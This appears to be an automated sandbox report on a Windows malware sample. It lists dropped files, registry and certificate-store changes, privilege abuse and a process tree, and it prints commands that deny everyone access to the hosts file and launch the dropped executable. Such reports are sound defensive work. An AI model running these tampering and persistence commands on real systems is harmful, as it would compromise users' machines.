ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\AppCapture64.dll ziyemtl.exe File created C:\Windows\ekicineqi\tctmptkil\cnnevtylb.exe ziyemtl.exe File created C:\Windows\ekicineqi\tctmptkil\wpcap.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\Shellcode.ini ziyemtl.exe File opened for modification C:\Windows\ekicineqi\Corporate\log.txt cmd.exe File created C:\Windows\ekicineqi\UnattendGC\specials\cnli-1.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\exma-1.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\svschost.xml ziyemtl.exe File created C:\Windows\jtenncln\docmicfg.xml ziyemtl.exe File created C:\Windows\ekicineqi\Corporate\mimilib.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\coli-0.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\vimpcsvc.xml ziyemtl.exe File created C:\Windows\ekicineqi\tctmptkil\wpcap.exe ziyemtl.exe File opened for modification C:\Windows\ekicineqi\tctmptkil\Packet.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\tibe-2.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\trch-1.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\specials\zlib1.dll ziyemtl.exe File created C:\Windows\ekicineqi\UnattendGC\spoolsrv.xml ziyemtl.exe File created C:\Windows\ekicineqi\Corporate\vfshost.exe ziyemtl.exe File created C:\Windows\ekicineqi\tctmptkil\ip.txt ziyemtl.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 2072 sc.exe 1884 sc.exe 2704 sc.exe 1348 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 3 IoCs
Processes:
resource yara_rule \Windows\jtenncln\ziyemtl.exe nsis_installer_2 \Windows\ekicineqi\tctmptkil\wpcap.exe nsis_installer_1 \Windows\ekicineqi\tctmptkil\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3056 schtasks.exe 2740 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
ziyemtl.exenetsh.exestitttibl.exenetsh.exestitttibl.exenetsh.exenetsh.exestitttibl.exenetsh.exenetsh.exestitttibl.exestitttibl.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software stitttibl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00ef000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ziyemtl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B274256-EC98-4E65-A3E0-0501880B15E6}\WpadDecisionTime = 107efebd65aada01 ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-7f-59-f5-bc-6f ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B274256-EC98-4E65-A3E0-0501880B15E6}\52-7f-59-f5-bc-6f ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad ziyemtl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B274256-EC98-4E65-A3E0-0501880B15E6}\WpadDecision = "0" ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs ziyemtl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump stitttibl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump stitttibl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" ziyemtl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates ziyemtl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B274256-EC98-4E65-A3E0-0501880B15E6}\WpadDecisionReason = "1" ziyemtl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals stitttibl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" stitttibl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B274256-EC98-4E65-A3E0-0501880B15E6} ziyemtl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B274256-EC98-4E65-A3E0-0501880B15E6}\WpadNetworkName = "Network 3" ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs ziyemtl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings ziyemtl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" stitttibl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{7B274256-EC98-4E65-A3E0-0501880B15E6}\WpadDecisionTime = b0d52bf365aada01 ziyemtl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ziyemtl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-7f-59-f5-bc-6f\WpadDecisionTime = b0d52bf365aada01 ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump stitttibl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump stitttibl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs ziyemtl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople ziyemtl.exe -
Modifies registry class 14 IoCs
Processes:
ziyemtl.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ ziyemtl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ ziyemtl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ ziyemtl.exe -
Processes:
ziyemtl.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 ziyemtl.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 ziyemtl.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
Processes:
ziyemtl.exeziyemtl.exepid process 2020 ziyemtl.exe 452 ziyemtl.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
ziyemtl.exepid process 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe 2632 ziyemtl.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exepid process 1964 d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exeziyemtl.exeziyemtl.exevfshost.exesvchost.exestitttibl.exejqyppm.exestitttibl.exestitttibl.exestitttibl.exestitttibl.exedescription pid process Token: SeDebugPrivilege 1964 d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe Token: SeDebugPrivilege 2264 ziyemtl.exe Token: SeDebugPrivilege 2632 ziyemtl.exe Token: SeDebugPrivilege 1536 vfshost.exe Token: SeAuditPrivilege 2424 svchost.exe Token: SeDebugPrivilege 1748 stitttibl.exe Token: SeShutdownPrivilege 1748 stitttibl.exe Token: SeLockMemoryPrivilege 1952 jqyppm.exe Token: SeLockMemoryPrivilege 1952 jqyppm.exe Token: SeDebugPrivilege 2920 stitttibl.exe Token: SeShutdownPrivilege 2920 stitttibl.exe Token: SeDebugPrivilege 652 stitttibl.exe Token: SeShutdownPrivilege 652 stitttibl.exe Token: SeDebugPrivilege 2028 stitttibl.exe Token: SeShutdownPrivilege 2028 stitttibl.exe Token: SeDebugPrivilege 1936 stitttibl.exe Token: SeShutdownPrivilege 1936 stitttibl.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exeziyemtl.exeziyemtl.exexohudmc.exekoaaya.exeziyemtl.exeziyemtl.exepid process 1964 d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe 2264 ziyemtl.exe 2632 ziyemtl.exe 2896 xohudmc.exe 1628 koaaya.exe 2020 ziyemtl.exe 452 ziyemtl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.execmd.exeziyemtl.execmd.execmd.exewpcap.exenet.exedescription pid process target process PID 1964 wrote to memory of 1936 1964 d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe cmd.exe PID 1964 wrote to memory of 1936 1964 d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe cmd.exe PID 1964 wrote to memory of 1936 1964 d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe cmd.exe PID 1964 wrote to memory of 1936 1964 d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe cmd.exe PID 1936 wrote to memory of 2224 1936 cmd.exe PING.EXE PID 1936 wrote to memory of 2224 1936 cmd.exe PING.EXE PID 1936 wrote to memory of 2224 1936 cmd.exe PING.EXE PID 1936 wrote to memory of 2224 1936 cmd.exe PING.EXE PID 1936 wrote to memory of 2264 1936 cmd.exe ziyemtl.exe PID 1936 wrote to memory of 2264 1936 cmd.exe ziyemtl.exe PID 1936 wrote to memory of 2264 1936 cmd.exe ziyemtl.exe PID 1936 wrote to memory of 2264 1936 cmd.exe ziyemtl.exe PID 2632 wrote to memory of 2556 2632 ziyemtl.exe cmd.exe PID 2632 wrote to memory of 2556 2632 ziyemtl.exe cmd.exe PID 2632 wrote to memory of 2556 2632 ziyemtl.exe cmd.exe PID 2632 wrote to memory of 2556 2632 ziyemtl.exe cmd.exe PID 2556 wrote to memory of 2736 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2736 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2736 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2736 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2664 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2664 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2664 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2664 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2688 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2688 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2688 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2688 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2444 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2444 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2444 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2444 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2720 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2720 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2720 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2720 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2512 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2512 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2512 2556 cmd.exe cacls.exe PID 2556 wrote to memory of 2512 2556 cmd.exe cacls.exe PID 2632 wrote to memory of 2408 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2408 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2408 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2408 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2580 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2580 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2580 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2580 2632 ziyemtl.exe netsh.exe PID 2632 wrote to memory of 2156 2632 ziyemtl.exe cmd.exe PID 2632 wrote to memory of 2156 2632 ziyemtl.exe cmd.exe PID 2632 wrote to memory of 2156 2632 ziyemtl.exe cmd.exe PID 2632 wrote to memory of 2156 2632 ziyemtl.exe cmd.exe PID 2156 wrote to memory of 1484 2156 cmd.exe wpcap.exe PID 2156 wrote to memory of 1484 2156 cmd.exe wpcap.exe PID 2156 wrote to memory of 1484 2156 cmd.exe wpcap.exe PID 2156 wrote to memory of 1484 2156 cmd.exe wpcap.exe PID 2156 wrote to memory of 1484 2156 cmd.exe wpcap.exe PID 2156 wrote to memory of 1484 2156 cmd.exe wpcap.exe PID 2156 wrote to memory of 1484 2156 cmd.exe wpcap.exe PID 1484 wrote to memory of 1824 1484 wpcap.exe net.exe PID 1484 wrote to memory of 1824 1484 wpcap.exe net.exe PID 1484 wrote to memory of 1824 1484 wpcap.exe net.exe PID 1484 wrote to memory of 1824 1484 wpcap.exe net.exe PID 1824 wrote to memory of 1892 1824 net.exe net1.exe
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1052
-
C:\Windows\TEMP\eitlitcin\jqyppm.exe"C:\Windows\TEMP\eitlitcin\jqyppm.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1952
-
C:\Users\Admin\AppData\Local\Temp\d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe"C:\Users\Admin\AppData\Local\Temp\d9a7aa911667b23254b680fb901356dd18b24a336b22d4df51d5124e111c5ce5.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\jtenncln\ziyemtl.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2224 -
C:\Windows\jtenncln\ziyemtl.exeC:\Windows\jtenncln\ziyemtl.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2264
-
C:\Windows\jtenncln\ziyemtl.exeC:\Windows\jtenncln\ziyemtl.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2736
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2664
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2688
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2444
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2720
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2512
-
